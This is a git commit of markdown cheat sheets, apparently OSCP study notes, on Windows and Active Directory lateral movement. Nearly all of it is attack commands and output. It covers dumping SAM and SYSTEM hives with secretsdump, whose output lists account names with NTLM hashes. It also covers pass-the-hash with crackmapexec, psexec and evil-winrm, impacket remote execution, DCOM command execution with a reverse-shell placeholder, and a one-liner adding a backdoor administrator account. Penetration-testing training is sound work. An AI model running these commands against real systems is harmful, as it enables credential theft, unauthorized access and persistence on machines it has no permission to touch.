first commit

Windows/Active Directory for OSCP/Lateral Movement/Credential SAM dumping.md

@@ -0,0 +1,25 @@
+
+
+[Dumping Credentials – SAM File Hashes - Juggernaut-Sec](https://juggernaut-sec.com/dumping-credentials-sam-file-hashes/)
+```sh
+reg save hklm\sam C:\temp\SAM
+reg save hklm\system C:\temp\SYSTEM
+
+secretsdump.py -sam SAM -system SYSTEM LOCAL
+
+┌──(alien㉿world)-[~/PWK2023/oscpb/192.168.224.147]
+└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
+Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
+
+[*] Target system bootKey: 0x8bca2f7ad576c856d79b7111806b533d
+[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
+Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:acbb9b77c62fdd8fe5976148a933177a:::
+tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::
+Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefef9a7021ffd0:::
+David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca92127c11:::
+Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd91b94c771:::
+[*] Cleaning up...
+```

Windows/Active Directory for OSCP/Lateral Movement/DCOM.md

@@ -0,0 +1,3 @@
+`$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","`**192.168.50.73**`"))`
+
+`$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"REVERSE SHELL","7")`

Windows/Active Directory for OSCP/Lateral Movement/Interactive Shell.md

@@ -0,0 +1,5 @@
+
+```sh
+impacket-psexec <domain>/<user>:<password>@<ip>
+impacket-wmiexec -hashes <hash> htb.local/administrator@<ip>
+```

Windows/Active Directory for OSCP/Lateral Movement/Pass-The-Hash [psexec, impacket, CME].md

@@ -0,0 +1,11 @@
+Pass-The-Hash [psexec, impacket, CME]
+
+```sh
+- crackmapexec smb 192.168.154.171 -u 'ted' -d  'exam.com' -H ':31aa99ebd6ea4b6d07051acfd48efa35' --shares
+
+- impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5" exam.com/[email protected]
+# Try without DOMAIN NAME ALSO
+- impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5" [email protected]
+
+- evil-winrm -i 192.168.154.170 -u zensvc -H d098fa8675acd7d26ab86eb2581233e5
+```

Windows/Active Directory for OSCP/Lateral Movement/Pseudo-Shell.md

@@ -0,0 +1,11 @@
+
+#For psexec write ADMIN$ writeable shares in the machine with powerview scripts
+```sh
+- atexec.py <domain>/<user>:<password>@<ip> "command"
+- smbexec.py <domain>/<user>:<password>@<ip>
+- psexec.py <domain>/<user>:<password>@<ip>
+- wmiexec.py <domain>/<user>:<password>@<ip>
+- dcomexec.py <domain>/<user>:<password>@<ip>
+- crackmapexec smb <ip_range> -u <user> -d <domain>
+- crackmapexec smb <ip_range> -u <user> -d <domain> -local-auth
+```

Windows/Active Directory for OSCP/Lateral Movement/RDP.md

@@ -0,0 +1,25 @@
+
+to share a local folder as a share
+
+
+
+Add new user and add it to RDP group :
+
+
+
+
+Enable RDP: 
+
+
+
+```sh
+xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution
+```
+
+```sh
+xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
+```
+
+```powershell
+net user hacker password123? /add && net localgroup "Remote Desktop users" hacker /add && net localgroup Administrators hacker /add
+```

Windows/Active Directory for OSCP/Lateral Movement/Win-RM.md

@@ -0,0 +1,6 @@
+Win-RM
+
+```sh
+# Port 5985 - open
+evil-winrm -i <ip> -u <user> -p <password>
+```